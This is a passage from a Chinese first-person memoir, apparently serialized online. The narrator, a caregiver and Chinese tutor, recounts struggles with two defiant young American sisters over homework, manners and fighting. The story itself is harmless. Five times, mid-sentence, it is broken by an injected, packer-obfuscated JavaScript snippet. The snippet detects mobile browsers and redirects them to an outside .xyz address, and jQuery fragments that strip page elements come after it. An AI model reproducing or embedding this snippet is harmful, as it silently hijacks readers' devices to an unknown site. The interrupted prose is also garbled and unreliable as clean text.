第二次看护由我单独接孩子并陪伴她们度过下午的三个小时,回家路上第一次穿过班缇和安卡口中的“森林”,原来是大路旁的一个小土坡,坡上生长着一些小树,中间用砍下的树干拦出一条小道供人穿行。正值深秋时节,金黄色的树叶落了满地,阳光一照,仿佛铺了一条金灿灿的地毯,两个孩子都穿着白色的外套,走在上面显得十分可爱,我跟在后面看着不禁心生欢喜,忍不住举起手机喊她们回头,将这副画面定格在最美好的瞬间。 穿过小树林走到大路上,转一个弯,前面不远处有几只火鸡正大摇大摆地迎面在马路上散步,也不知道是从哪里冒出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437777|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安卡流露出惧怕的神色,往人行道里侧躲了躲,埋着头加快了脚步,一面小声对班缇说:“班缇,走快点!” 我问她:“你害怕吗?” 她点点头。 我看看那些火鸡,它们在幼小的孩童面前确实显得像庞然大物,不禁想起自己小时候上学路上遇到一群拦路狗的情形,十分能理解安卡此刻的心情,于是挡在两个孩子外侧说:“有我在,不用怕。” 那几只火鸡一直悠闲地待在马路另一侧,并没有过来侵扰我们,很快就被远远甩在了身后。 到了安全的地方,我问班缇和安卡:“你们有什么喜欢的动物吗?” 她们立刻活跃起来,争先恐后列举了许多动物,又齐声说:“我们很喜欢小猫咪,小猫咪太可爱了,但是我们不能养,因为妈妈对猫毛过敏。” 说这话时姐妹俩语气里满是对妈妈的保护欲,显然心里都十分爱琳达。 回到家吃完零食读完故事,孩子们开始做作业,班缇到阳光房的电脑上做数学题,阳光房里放着一张电脑台、一张书桌、两把办公椅和一台打印机,兼具了办公室和书房的功能,三面墙上都是巨大的玻璃窗,正对着后院青翠的草坡,木头院墙下蹲着一只从外面钻进来的野兔,班缇说:“这是妈妈最喜欢的房间。” 我惬意地望着窗外,以为和两个孩子会一直这样岁月静好下去。 14. 第三章 被小孩子欺负了 没想到短暂的“蜜月期”很快结束,各种问题接踵而至,安卡对我越来越粗鲁无礼,经常视若无睹、充耳不闻,班缇也有样学样,我自然不能和小孩子一般见识,总是竭尽全力对她们和颜悦色,希望以怀柔政策慢慢赢得她们的信任。 可是两个孩子看人下菜碟,我的软弱反而令自己渐渐丧失了在她们面前的威信,很快就没人再把我的话当一回事,姐妹俩时常因为分歧在家里旁若无人地吵闹哭叫,这边厢我的调解越来越无力,那边厢人家转眼又和好了,痴长她们几十岁的我在一旁显得毫无用处,又因为与她们的生活、文化、语言隔了一层,时常连嘴都插不上,几乎不可遏制地向透明人的边缘滑去,可是家长还期待看到中文的成效,又不能一味地由着她们,我不禁越来越感到身心疲惫。 一天车库的门上了锁,用密码打不开,我给琳达打电话,琳达让亨特从公司赶回家开门。那是我第一次见到亨特,一头棕色短发,戴着一副银灰边框的眼镜,镜片后面的目光冷冰冰的,一副生人勿近的样子,急匆匆从车上下来,脸色很不好看,也没理我,径自拿出钥匙打开车库门。 班缇跟在后面问爸爸:“你还回公司吗?” “不回去了。” 班缇立刻表现出很失望和不情愿的样子:“啊,我不希望你在家,因为这样你又要对我们指手划脚了。” 在我眼里这只是一句孩子气甚至有点可爱的话,没想到亨特居然当着我的面大为光火地冲班缇发脾气,又因为安卡对我没礼貌罚她短时间禁闭,我试图为两个孩子说话,亨特立刻粗暴地对我摆手连声说“不”,完全不让我把话讲完,又指手划脚安排我们该做什么不该做什么。 我感觉很不被尊重也很尴尬,但仍然保持镇定将自己抽离出来,决定既不放入个人感情也不去过问别人的家事,两个孩子表现出很怕我走的样子,下午对我要求她们做的事都乖乖听从。 第二天听安卡说她爸爸昨晚竟然因为生气把一个计算器摔坏了,我吃惊之余自以为找到了两个孩子性格倔强甚至有些粗暴的根由,觉得自己以柔克刚的方法是对的,希望假以时日言传身教把她们不好的性格慢慢扳过来。 琳达晚上回家对我说:“我听亨特说安卡对你很不礼貌,如果她下次再这样你可以处罚她暂停活动。” 我连忙说:“她挺正常的,没有不礼貌。” 我之所以这么说是想通过维护孩子和她们建立更多信任,先对她们投之以桃,期待她们报之以李。 去向两个孩子道别,不知她们刚才是否一直竖着耳朵在房间里听,平时不太愿意和我拥抱的安卡这次居然主动伸手向我扑过来,同时用很夸张的语气说:“彦岚,有你真好!” 这实在不像一个六岁孩子的措辞,倒更像她妈妈才会说的话。 班缇也如法炮制,我脸上堆着笑接受了她们的拥抱,却很难不怀疑这只是小孩子做给妈妈看的“表面文章”。 一个星期后再去,两个孩子果然故态复萌,做完作业我提议玩某一个游戏,班缇却当我是空气一般,自顾拿出另一个游戏和安卡玩起来。可是姐妹俩却很快因为玩法出现分歧吵起来,在我的几乎“恳求”下,她俩给面子似的勉强玩了一局我提议的游戏,我说“再来一局”,安卡说“不”,不由分说收起游戏,和班缇换了其他游戏——现在我们三个人仿佛形成了这样的固定格局:安卡是领导者,班缇是跟随者,而我永远没有任何选择和发言权,只能是个陪客,这实在有点伤我这个“幼儿园候补老师”的自尊。 我继续陪她们玩,笑容却变得十分勉强,六岁和八岁的孩子已经很会察言观色,渐渐意识到我的情绪变化,开始有意无意地讨好我,先说要换游戏,又争着读故事书给我听。 我做出耐心倾听的样子,心里却觉得十分无趣,想起客厅桌子上的写字板,或许可以拿来教她们写中文,于是站起身说:“我需要去拿点东西。”然后转身离开。 班缇立刻冲着我的后背说:“当然,你可以拿任何想拿的东西。”那语气很像她妈妈,有种不相称的成人腔,又似乎透着些对我的歉意和补偿,却更让我感到自己的无力和可怜。 我拿了写字板回来在上面写中文,她俩居然很感兴趣,很快也争抢着写起来。 不久亨特回来了,我向他报告我们在写中文,两个孩子突然积极地开口说她们平时在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437778|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我面前很抗拒的中文,不过我认为这只是小孩子的狡猾和两面派。 亨特在家让我感到紧张,有点手足无措,便连忙起身告辞了。 坐在回去的地铁上,我很想哭,玩了会儿手机上的游戏,眼泪终于还是不争气地掉下来,感觉像是被小孩子欺负了。 以为已经身经百战,内心变得足够强大,也学习掌握了许多与孩子打交道的技巧和经验,没想到隔了这么多年,自己还是那个内心敏感容易受伤害的小孩、被别的小孩轻易欺负的弱者,就像一年级刚入学时站在滑梯上维持秩序,却被某个熊孩子一把推得倒栽葱滑下滑梯,除了下坠那一刻的惊恐,最令人伤心的是滑梯上的其他孩子没有一个来关心我的安危,只顾着争先恐后继续玩,好在最终平安着陆没有受伤,我惊魂未定地从地上爬起来,只能揉揉后脑勺灰溜溜地走开了,却也在潜意识里种下了一个负面的认知:这个世界就是如此丑陋,六七岁的孩子便已懂得遵循弱肉强食的规则,善良讲道理反被认为是好欺负的象征。 可我还是不愿意唬起脸来装作一副权威的样子,总希望这个世界大家能够好好讲道理,对两个孩子可谓尽心尽力,想带她们领略人世间的真理和美好,就像对其他孩子一样,没想到自己却是先跌倒的那一个——我承认还是太脆弱太玻璃心了,可是情绪累积到一定程度需要一个宣泄的出口,却无意中勾起了一直隐藏的内在小孩需要疗愈的创伤。 不断对自己说:这只是一份可有可无的临时工作,做的事微不足道,拿的钱也少得可怜,打发时间而已,何必那么认真?别人的孩子是别人的责任,不要把别人的责任揽到自己身上;可另一方面我又觉得,既然这两个孩子出现在我生命里,那便是缘分,也是修行,我怎样对她们便是怎样对自己,相信等到一切矛盾解决再无困扰的时候,就是她们从我生命中离开的时候,也是功德圆满的时候,所以我不想半途逃跑。 也许她们的顽劣只是任性地要做自己想做的事,并无太多复杂的想法,现在我还没有摸透她们的脾气和心性,也没有找到与她们相处的最佳模式,一切就当是学习吧,我相信只要坚持下去,总有云开雾散、得心应手的那一天。 15. 第四章 陪熊孩子做作业 最近天气转寒,琳达得了重感冒,请假在家办公的同时还要兼顾两个孩子,我去的时候她才能安心到床上躺一会儿,我不禁感叹为人父母的不容易,连生病都不能好好休息,连忙将班缇和安卡带到一边,尽量让她们保持安静。 这段时间努力调整心态,安卡也渐渐表现出对我的依恋,愿意和我分享她的一些日常琐事甚至许多想法。马上就要过感恩节了,我用橡皮泥给两个孩子捏了一个戴着蓝色礼帽的小雪人、一个绿柄的桔色南瓜、一只粉红色的小猪和其他一些好玩的东西,她们兴奋地连连惊呼:“彦岚,你是个艺术家!” 临走时班缇和安卡争先恐后地跑上来和我拥抱,我们的相处几乎达到了一个融洽的高峰,这让我很受鼓舞,一度以为已经抓住了两个孩子的脉络,渐渐靠近她们的心,甚至连亨特开完家长会回家一直拉着脸对我视而不见都没太影响我的心情。 过完感恩节再去学校接孩子,发现安卡和班缇又对我十分生疏冷淡,我脸上仍保持着笑容,心却有点凉,对她们好像又把不准脉了——之前悉心付出好不容易换来的一点点信任原来这么容易就烟消云散了,孩子的心真是难以捉摸啊! 回到家班缇打开电脑告诉我要做数学题,其实却在电脑桌前画画,终于开始做题了又各种磨洋工,对我的话不理不睬,我忍无可忍地提高声音,她居然立刻一副没事人的样子,抬起头堆着假笑用礼貌到有些夸张的语调反问我:“你刚才说什么?”——做事情不专心不说,小小年纪居然学会了阳奉阴违。 而安卡几乎对我的任何话和行为都说“不”,我问她要不要听故事,她说“不”;我叫她做作业,她说“不”;我将客厅的灯调亮些,她说“不”,要求我把灯关上,说自己就喜欢黑;我失手开了厨房太多的灯想关掉一些,她又和我反着干,我关哪个灯她就开哪个灯。 我问她:“你刚才不是说喜欢黑吗?” 她一脸无赖:“我现在改主意了。” 我再次让她去做作业,她到处躲,赖在地上,我想把她拉起来,不小心拉到她的袖子露出了肩膀,她一面大叫“你弄到我的手指了”,一面却将衣服从肩膀那里继续往下扯。 我脑子里立刻警觉地冒出儿童状告成人猥亵的画面,又觉得小孩子大庭广众随便脱衣服是个很不好的习惯,立刻帮她把衣服拉好,很严肃地说:“你为什么要这么做?这很低级。” 她觉察出我语气中不寻常的严肃,跟着我回到桌子前,脸上挂着被批评的不悦。 班缇终于拖拖拉拉做完数学题,轮到安卡到电脑上做题,可第一题她就不明白是什么意思:图示左边四个立柱有四十个方块,右边有五个方块,问一共有多少方块。 我指着图向她解释:“40,然后——45。” 她选了“45”那个答案,电脑显示正确。 “我知道答案!”她说,又挑我的语病,“45就是45,你说40然后45,这个说法不对。” 我懒得跟她抬杠:“随便你怎么说,你知道答案就行。” 第二题她选择了错误答案,我想纠正却被她严辞拒绝:“不要你说,我知道答案!” 结果电脑显示答案错误,我说:“你看,不对吧?” 她道:“我知道,我故意选的,你不要说话,我不需要你帮忙!” 我说:“好吧,那你自己做吧,我走了。” 踱步到旁边的饭厅里,无意间看见柜子上摆着班缇和安卡的成绩单,各项成绩居然不约而同全是C和C+(美国学校以ABCDF来划分成绩等级,A代表优秀,B代表良好,C代表一般,D代表及格,F代表不及格),这似乎从侧面印证了我感到两个孩子难带并不是我个人的错觉,而总是对她们和颜悦色、赞美她们、努力发现她们的优点或许只是徒劳。 过了一会儿安卡拿过来一张作业纸,因为不太认得上面的字需要我帮她读题,题目是让她从十个数学游戏里选一个出来做。 我一直读到第七个游戏她都一路说“不”,我说:“那你就只剩三个选项了。” 读到第八个,她先说“好”,又立马改变主意,第九第十个还是说“不”。 我说:“你必须选一个。” 她突然想到一个从杯子里数硬币的游戏,说是以前自己做过的,我觉得她说的游戏虽然不在列表上,但和列表里另一个数硬币的游戏异曲同工,从所有游戏的内容也能看出来老师的教学目的就是教孩子识别和计算不同面值的硬币,所以就同意了。 带安卡去厨房的台子上取来硬币,她坐到餐桌前开始数,却把所有面值都混在一起,最后数出来六十个,还挺得意——显然她对于硬币的不同面值没有概念,还停留在简单数个数的阶段。 我试图告诉她不同硬币代表不同的面值,她又立刻说“不”,不让我讲任何话,还说:“这个游戏的规则就是这样。” 在美国,为了保护孩子的自尊心人们很少会直接说他们错了,可是面对这样冥顽不灵的孩子,我觉得不能再一味怀柔而需要下点猛药,否则只会助长她的狂妄无知,于是直截了当地对她说:“你数的方法是错的,金色硬币代表1分,银色大硬币代表5分,银色小硬币代表10分,如果把它们都按照1分来数是没有意义的。” 大约还没有人这么直接地否定过她,她相当不高兴,强硬地回答:“这个游戏的规则就是这样的!” “你要看这个游戏的目的是什么,目的是为了让你认识不同的硬币有不同的面值,你应该按照正确的方式数,而不是按照错误的数,因为那样无论怎么数,就算你数到100、300、500都没有意义。” 她满脸的不悦:“你根本就不知道这个游戏应该怎么玩。” 我严肃地说:“我比你多活了很多年,你知道吗,人如果活了很多年就会有一些基本常识,会知道游戏背后的目的是什么。” 她一脸的不屑:“你又不是老师,你怎么知道?你应该去问问我的老师。” 我有点生气了:“我不需要问你的老师,你的作业纸上写得很清楚,回来问问你妈妈就行了——事实上我本人就是老师,虽然现在只是你的儿童看护,我曾经工作过很多年,也知道老师的教学目的是什么,不要试图愚弄我。” 我承认被她的表情和语气刺痛了,也很后悔用“老师”这种所谓的头衔来压她,这几句话虽然暂时会对她起到一些威慑作用,却是我的一个失败,暴露了我内心的虚弱和处理问题方法的匮乏,可在当时的情境下却实在不知道该用什么更好的方法来处理。 她的脸扭向一边,挑着眉毛,语气十分无赖:“这就是个游戏,游戏的规则就是我想怎么玩就怎么玩,只要有趣就行!” 我不明白这么小的孩子怎么会如此无礼,竭力控制住情绪,语气缓和了一些:“安卡,你要知道,你不再是个小宝宝了,我们每个人都要长大,就要学会这个世界的一些规则,而不能只是为了有趣。如果你学会了数钱,你就可以去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437779|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买东西,这不是一件很酷的事吗?你知道你为什么会得C吗?就是因为你没有像其他人那样一起成长。” 她默然道:“我在底下。” 我没听明白,问道:“你这话是什么意思?” 她毫不脸红地回答:“我在班上垫底。” 我不禁觉得好笑,毕竟是个孩子,这种话居然毫不讳言地在这个时候大剌剌说出来。 我继续道:“对啊,你如果总是当个小宝宝总想着玩,结果就会这样,没有人想总是垫底,我在这里就是帮助你的,你不懂的我可以教你,你学会了可以去学校秀给老师同学看,他们一定会很惊讶,那不是很酷吗?——对了,你的好朋友珍妮在班上是什么水平?” 珍妮是个中国孩子,我猜她的数学水平一定不会差。 安卡没有回答,我又问:“如果我问你,安卡,可不可以给我20分,你该怎么做?” “我不知道。” 我拿起一个一角钱硬币:“这是10分,”又拿起另一个一角钱,“这也是10分,两个一共是20分,所以如果我问你,安卡,可不可以给我20分,你把这两个给我就行了。” 安卡斜眼看着那两枚硬币冷冷地说:“我知道!” “你既然知道刚才为什么不给我呢?” 她咕哝道:“反正这个游戏不是这么玩的。” 我不理她,继续拿起一个五分硬币:“这是5分,”又拿起一个五分,“这也是5分,两个就是10分,”再拿起刚才的一角硬币排在一起,“再加上刚才的10分,一共就是20分,所以如果我问你,安卡,可不可以给我20分,你把这些给我也可以。” 她仍是斜着眼:“我知道。” 我又继续排了一些其他组合,安卡按照我的指示拿起基本正确的硬币,在我的表扬下露出微笑,但仍是嘴硬地咕哝着她的游戏规则不是这样的。 一旁的班缇也感兴趣地凑过来:“我还知道如果你要20分我可以给你二十个1分。” 我说:“对,非常好,班缇的方法也是对的。” 但是安卡很快就厌倦了:“我不想玩了。” 我也觉得教得差不多了,就停了下来。 心很累,回家后赌气地对老公说:“这世上就注定了有些是蠢人,有些是不蠢的人,以后有了小孩千万不能让他(她)过得太舒服,否则就成了一个不动脑筋、不学无术、只知道吃喝玩乐和长肉的人!” 不得不承认安卡让我很有挫败感,实在无法理解她这种毫无逻辑地拒绝一切、不分好坏、为了说不而说不的做法,我一直秉持“没有糟糕的学生,只有糟糕的老师”的教育理念,现在却开始动摇了,因为纵使有满腹的学问和再好的方法,如果遇上个实心葫芦,就算使尽浑身力气也没办法倒进去分毫。 情绪渐渐沉淀,悲哀却慢慢浮上来,变得越来越明晰:好像我最大的不快还是来自于对人性的失望,原本总相信至少孩子的世界还是纯净的,一直想要在孩子的内心寻到人世间的一片净土,这也是我为什么选择了幼儿教育这条在美国不被重视、毫无前途的道路,可如今却在年仅六岁和八岁的孩子身上看到了如此晦暗的人性——不禁沮丧地想,难道只能往更年幼的孩子中去求索了吗?可是如果在那里也再一次失望呢? 也许只是我太敏感太情绪化,也许下个星期的我又会推翻现在的想法吧?接下来我想我要控制好情绪,不投入太多个人感情,更加抽离出来保护好自己。 16. 第五章 熊孩子冲妈妈咆哮 去学校接孩子,等了一会儿安卡才从教室里出来,手里拿着一份课堂作业说要带回家做。 她的老师这时走过来神情严肃地对我说:“安卡是全班唯一一个没有完成课堂作业的,并且几乎所有的课堂活动她总是最后一个完成,我希望你回去能告诉她的父母一下,我回头也会给他们打电话。” 我说:“好的。” “你是不是回去还要带她做作业?应该了解吧。”安卡的老师盯着我的眼睛又问,想必也被安卡折磨得不轻。 我同情地点点头:“我知道。” 一时间我俩竟有些惺惺相惜之意。 回去的路上安卡故意一个人落在后头,和我一起走在前面的班缇似乎情绪也不高,我想了想,告诉班缇我周末去逛昆西市场买了头上戴的帽子,又拿出手机给她看昆西市场为迎接圣诞节新立起来的巨型圣诞树的照片,成功引起了她的兴趣。 安卡突然跑到我们前头,然后在路口停下来等我们一起过马路,待我走近时小孩心性地说:“我要看看你刚才给班缇看的照片。”我便打开手机给她看。 回到家,安卡吃完我为她准备的零食又要去厨房拿,我说不可以,她不听,我只得“威胁”她:“如果你再这样我就告诉你爸爸。” 她很不高兴地回到沙发上,抱着胳膊气鼓鼓地以不听我读故事书作为抗议。 我说:“你不听没关系,我读给班缇听。” 安卡于是要求我读她指定的故事,连续读了两个,班缇也想选一个,安卡却不让,我说:“你已经选了两个了,让班缇也选一个,这样才公平。” 她生气地大叫起来,我说:“你不能总是要求所有人都依着你。” 她又气了几秒钟,见没人理她,也不闹了。 带回来的课堂作业安卡不让我陪她一起做,说“要等妈妈回来和妈妈一起做”,我的第一反应是想说服她,但转念一想,若是勉强免不了又会惹来她的哇哇乱叫,让琳达看看她没完成的课堂作业是什么也好,便没再表示异议。 做完功课班缇让我给她折“东南西北”,我给她和安卡一人折了一个,两个孩子玩得很开心,我又乘势教了她们一些中文和英文拼写。 琳达今天提前回来了,似乎很饿,打开冰箱拿出一根奶酪棒垫肚子,我告诉琳达两个孩子的作业都做完了,她很高兴地说:“太好了!” 安卡拿出她的课堂作业嚷嚷道:“妈妈,妈妈,我还有这个要做,明天要带到学校去!”似乎完全不明白这并不是一件值得骄傲的事。 我暗暗感慨安卡的懵懂,将她老师的话原样告诉琳达,琳达的脸上露出忧虑的神色。 安卡从冰箱里拿出一块奶酪,向妈妈狡黠地笑着表现出想吃的样子,琳达显得有些犹豫,我说:“安卡,你今天已经吃了太多了。” 琳达听到我的话,摇了摇头:“安卡,你不能吃那个。” “不!”安卡大叫。 琳达把她拉到一旁,弯下腰握着她的两只手,用极其轻柔的声音说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437780|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安卡,你不能这样。” 自从认识琳达以来我从未见她说过一句重话,她好像是个没有脾气的人,却也是这个家庭的灵魂人物,从冷峻的亨特到蛮横的安卡,每一个人都很爱她,我也很喜欢她,觉得她身上有一种能够给人以滋养的温柔女性气质,是每个人都会渴望拥有的理想母亲的形象。 为了避免令她们尴尬,我走开去和班缇玩“东南西北”,琳达仍在那里对安卡好言相劝,没想到却换来安卡对妈妈的咆哮:“不!” 难以想象一个六岁的孩子内心竟然充满如此强烈的怒火,我这才意识到平时她对我已经算是客气了。 琳达还是坚持拿走了安卡手里的奶酪,说“对不起,你现在得和这个说再见了”,又让她和我拥抱道别。 “不!”安卡气鼓鼓地缩在冰箱和墙的夹角里,抱着胳膊表示拒绝。 我看着她为了吃一块奶酪缩在冰箱一角又小又气的样子,不禁感到有些好笑,突然明白她的愤怒并非仅仅针对我、而她的淫威也就仅止于此了,内心突然就变得强大了起来,对她不再感到生气挫败而只剩宽容,于是微笑着走过去摸了摸她的脸。 我的反应似乎让安卡有些意外,她虽然还是不说话,身体语言里的那份对抗却已经不再那么坚定了,表现出有点委屈又泄气的样子。 琳达略带歉意地把我送到门口,一面为安卡的态度向我道歉,我说:“这对我来说完全没有关系。” 这时安卡从厨房里跑出来给了我一个淡淡的拥抱。 17. 第六章 我们是彼此相爱的人类 星期四我因为天气原因没让两个孩子到操场上玩和穿过小树林,回去的路上她们很不高兴,我未加理会,仍然坚持之前的决定,不过一走过街角孩子们就忘了刚才的不愉快,开心地欣赏起路边人家门前的圣诞彩灯装饰来。 我忍不住想:如果穿过小树林她们就看不到这些美丽的彩灯了,这何尝不像我们的人生,有时候固执己见地选择了一条路,若被命运驱赶到另一条路上必然会痛苦纠结,但也会很快被沿途的风景吸引而忘记之前的不快。 这时落在后面的安卡把我叫回去,要我帮她拿书包。 我说:“自己的东西自己拿。” “可是太重了,我拿不动!”她抱怨道。 “那我帮你拿水杯。” “不!”她叫道。 我不再理会她,继续往前走,她一边把书包拖在地上一边叫:“那我就把书包拖着走!” 我看着潮湿的地面想阻止她,转念又闭上嘴——她居然用弄脏自己物品的方式来要挟我,我此刻做出任何反应都会让她误以为得逞,只有什么都不说才能让她明白她有权处置自己的物品,当然后果也得由她自己承担,而不是别人。 她见我没反应,重新把书包背到背上,走了一段,又嚷嚷着包里的书太沉。 我想起她今天从图书馆借了两本书,便说:“我可以帮你拿从图书馆借的书。” 谁知她非但不领情,反而冲我大声嚷道:“不,你必须帮我拿书包!” 我有些生气了,丢下她扭头便走,她也知道自己的坏脾气把事情搞砸了,只得气哼哼地跟在后头,又故意走在马路中间,我让她到人行道上来她自然是不听的。 我于是故意大声对班缇说:“我昨天看到一则新闻,说一个小女孩在马路中间走,结果被车撞死了。” 班缇说:“对,安卡,走在马路中间很危险。” 我继续说:“那还不是最糟的,更糟糕的不是被撞死,而是没了手和腿,余生就都得在床上度过了,而且会很疼。” 班缇说:“就是,我上次看到学校有个人不能走路要坐轮椅。” 安卡这时已经从马路中间走到了马路边上,虽然还是坚持不上人行道。 昨天刚下过一场暴雨,一些低洼的地方积水还未退去,班缇牵着我的手趟过一条小水沟,安卡却望而却步,我于是返回去把她抱过水沟,这才发现这小孩是真敦实啊,仿佛是个实心的,我努力了两次才勉强把她抱起来,她则哼哼唧唧挂在我身上,一副狼狈的模样。 回到家吃完零食读完故事,班缇到电脑上研究折纸,安卡央求我再读一本故事书,我读的时候她却翻看着另一本书。 我停下来:“你这样让我觉得不受尊重,是在打击我的积极性。” 她抗议道:“你又在说我听不懂的话了!”语气里夹杂着些许茫然和委屈。 我突然意识到她毕竟来到这个世上才只有六个年头,不禁产生了一丝怜爱之心,于是拍拍她的胳膊笑道:“对不起,我的意思是在我读书的时候不希望你翻看别的书。” 她答应我不会再翻书,我让她把手里的书放到桌子上,她不肯,我说:“那如果你再翻书我就不读了。” 她说好,可是我一开始读她又去翻书,我合上手里的书:“好,今天就到这里。” 她连忙涎着脸央求:“再给一次机会。” 我说:“你把书放到桌上。” 她这回乖乖照办了。 班缇研究完折纸,从书包里拿出一本阅读书坐到饭厅餐桌前朗读,安卡在旁边看着,突然“啪”地重重打了班缇一下,班缇大叫,我惊道:“安卡,你怎么可以打人呢?” 她振振有词:“班缇在我耳边很大声地喊,我让她停下她也不听。” “那你也不能打人啊,打人是不被允许的!” 她显然并不认为自己有错,我让班缇去客厅沙发上读书,然后对安卡连说了两遍:“永远不可以打人!永远不可以打人!”又问她,“在学校你的老师会打你吗?” 她一副理所当然的样子:“她永远不会打我。” “我也永远不会打你,那么你为什么要打别人呢?” “我在学校从来不打人。” “在任何地方都不可以打人。” 她跑进阳光房,我觉得今天应该把这个问题解决,于是跟过去说:“安卡,看着我的眼睛。” 她顾左右而言他:“我要把电脑关上。” 关完电脑她又要关显示器,我等到她把一切做完,拉着她的两只手很认真地说:“看着我的眼睛。” 她这会儿终于安静下来,认真地看着我的眼睛——这还是我第一次这么近距离直面一双孩子的眼睛,才发现孩子看你的时候原来是全无防备的,那一刻我感觉仿佛在直面她的心灵。 我说:“安卡,答应我,永远永远不可以再打人,无论在什么地方,如果你再打人我就不会再爱你了,因为我们是人类,我们彼此相爱,而不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437781|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是彼此相打。” 我想这句话她应该是听进去了,她很认真地点了点头。 我道:“好孩子!现在来给我一个拥抱。” 她开心地张开双臂。 我直起身,想驱散一下刚才凝重的气氛,语调轻松地说:“好了,现在我们去玩橡皮泥吧。” 她也重新高兴起来,还唱起了歌,并且比之前更加高兴了,因为她至少确认了一点,那就是我是爱她的。 班缇读完书也来加入我们,我看看时间差不多了,打算把客厅和饭厅稍微收拾一下,刚离开游戏室就听见里面传来班缇的哭叫声,我连忙回去问:“又怎么了?” 班缇说:“安卡又打我。” 我简直有点不相信自己的耳朵,和安卡确认后,得知她又打了班缇的后背。 此时再说什么都只会削弱我刚才同她说那番话的力度,我只得道:“安卡,你刚才是怎么答应我的?” 安卡看上去似乎有些知道错了,我又乘势问:“你应该对班缇说什么?” 她这回居然没让我多费口舌,主动对班缇说:“对不起。” 我看班缇也没有不依不饶,便离开了房间。 过了一小会儿安卡叫我过去陪她,我说:“我要把外面收拾一下。” 她于是拿着正在玩的涂色纸和彩笔过来摊在饭桌上继续涂色,能够感觉到从她心里滋生出来的一点点对我的依恋之情,看来人和人之间果真是以心换心,不管多么顽劣的孩子也是需要爱的。 班缇也拿着她的涂色纸来到外面,我们三个便舒舒服服地坐在饭桌前一起涂颜色。 琳达到家后问我:“姑娘们不喜欢学校的课后班,你愿意以后一个星期带四天吗?” 我犹豫了一下,看护如此具有挑战性的孩子每次都仿佛在经历一场战役,要耗费大量的心力与孩子斗智斗勇,随时准备迎接和想办法解决各种意外状况、消化各种负面情绪,我并不想让自己过多地处于这种状态之中。 于是我回答:“我希望有更多自己的时间,一周两到三次对我来说正好,四次有点太多了。” 琳达有些忧虑地说:“我明天早上要去学校见老师,昨天带回来的课堂作业安卡很快就完成了,其实她是知道怎么做的。” 我安慰她:“这不容易。” 是啊,孩子的教育谈何容易?我也只能尽我所能,但求无愧于心,至于安卡下次会怎么对我,将来又会成为怎样的人,就不是我能控制的了。 18. 第七章 新年后的挑战(上) 圣诞节前的最后一次看护姐妹俩发生了很大的冲突,安卡强行抢阅班缇的日记,班缇尖叫、哭泣,安卡则暴怒、咆哮,将整个身体压在姐姐身上,我只好将她俩分开,先让班缇进房间去玩,再试图说服仍处于暴怒情绪中的安卡。这时候她们的父母回来了,我向琳达如实汇报了几分钟前发生的情况,琳达冲我竖起大拇指说“你把她们分开是对的”,然后分别去询问和安抚两个孩子。 我从包里拿出为孩子准备的圣诞礼物,用礼品纸包好的“怪物高中”和“我的小马驹”主题的两小盒拼图——我最近从两个孩子的喜好中了解到这是时下在美国小学生当中最流行的元素。 安卡看见礼物立刻从龟缩的沙发旁角落里跳起来,脸上瞬间阴转晴,完全忘了刚才的不悦,兴奋地问我:“里面是不是玩具?” 我笑笑没说话,想让她们自己去发现。 